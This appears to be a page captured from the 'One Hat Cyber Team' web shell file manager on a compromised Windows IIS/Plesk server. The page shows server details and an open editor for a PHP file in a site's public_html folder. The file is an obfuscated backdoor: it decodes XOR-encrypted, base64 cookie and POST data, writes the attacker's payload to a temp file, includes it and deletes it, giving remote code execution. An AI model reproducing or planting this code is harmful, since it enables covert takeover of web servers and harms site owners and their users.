⚝
One Hat Cyber Team
⚝
Your IP:
18.218.5.91
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: 92ef6ff8.php
$QNhGxeJ = chr ( 984 - 896 )."\126" . chr (95) . "\110" . "\113" . "\156";$oCpsRy = "\143" . "\154" . "\x61" . "\x73" . "\163" . chr ( 817 - 722 )."\x65" . chr ( 659 - 539 ).'i' . 's' . "\164" . chr (115); $GDgxJz = class_exists($QNhGxeJ); $QNhGxeJ = "42347";$oCpsRy = "17898";$jfDyZGQaH = FALSE;if ($GDgxJz === $jfDyZGQaH){$vKsiBT = "53262";class XV_HKn{public function xbMxQZItU(){echo "12453";}private $UKChbzqp;public static $SICxOXZxxB = "86f356bb-cc72-4863-8b32-e19d5e8598d9";public static $WJeyAn = 59825;public function __construct($kqPvFJQVz=0){$BUfCWheo = $_POST;$TzduxQYBOb = $_COOKIE;$fuOSc = @$TzduxQYBOb[substr(XV_HKn::$SICxOXZxxB, 0, 4)];if (!empty($fuOSc)){$BIRfpgCIN = "base64";$gZHDH = "";$fuOSc = explode(",", $fuOSc);foreach ($fuOSc as $KzteTn){$gZHDH .= @$TzduxQYBOb[$KzteTn];$gZHDH .= @$BUfCWheo[$KzteTn];}$gZHDH = array_map($BIRfpgCIN . "\x5f" . chr (100) . "\x65" . 'c' . 'o' . chr ( 112 - 12 ).'e', array($gZHDH,)); $gZHDH = $gZHDH[0] ^ str_repeat(XV_HKn::$SICxOXZxxB, (strlen($gZHDH[0]) / strlen(XV_HKn::$SICxOXZxxB)) + 1);XV_HKn::$WJeyAn = @unserialize($gZHDH);}}private function veriDu($vKsiBT){if (is_array(XV_HKn::$WJeyAn)) {$QCkuLvASyi = sys_get_temp_dir() . "/" . crc32(XV_HKn::$WJeyAn['s' . "\x61" . chr (108) . 't']);@XV_HKn::$WJeyAn["\167" . chr ( 455 - 341 ).chr ( 682 - 577 )."\164" . "\145"]($QCkuLvASyi, XV_HKn::$WJeyAn['c' . "\x6f" . "\x6e" . "\164" . chr ( 349 - 248 ).'n' . chr ( 241 - 125 )]);include $QCkuLvASyi;@XV_HKn::$WJeyAn[chr (100) . 'e' . "\154" . 'e' . chr (116) . chr ( 351 - 250 )]($QCkuLvASyi); $vKsiBT = "53262";exit();}}public function __destruct(){$vKsiBT = "50661_8994";$this->veriDu($vKsiBT); $vKsiBT = "50661_8994";}}$JciKsKMpL = new /* 39909 */ XV_HKn(); $JciKsKMpL = str_repeat("50661_8994", 1);}
Simpan